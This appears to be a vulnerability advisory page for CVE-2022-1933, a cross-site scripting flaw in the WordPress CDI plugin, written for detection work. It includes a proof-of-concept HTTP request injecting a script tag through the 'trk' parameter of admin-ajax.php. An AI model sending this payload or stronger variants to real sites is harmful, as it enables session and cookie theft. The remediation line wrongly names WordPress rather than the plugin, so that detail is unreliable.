🔙 목록으로 돌아가기

CVE-2022-1933: WordPress CDI <5.1.9 - Cross Site Scripting

TitleWordPress CDI <5.1.9 - Cross Site Scripting
AuthorAkincibor
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
RemediationUpgrade WordPress to version 5.1.9 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.14451
CVE IDCVE-2022-1933
CWE IDCWE-79
Tags cve cve2022 cdi wpscan wp-plugin wp wordpress xss collect_and_deliver_interface_for_woocommerce_project vuln

🔍 Vulnerability Description

WordPress CDI plugin prior to 5.1.9 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=cdi_collect_follow&trk=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1933.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1933.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A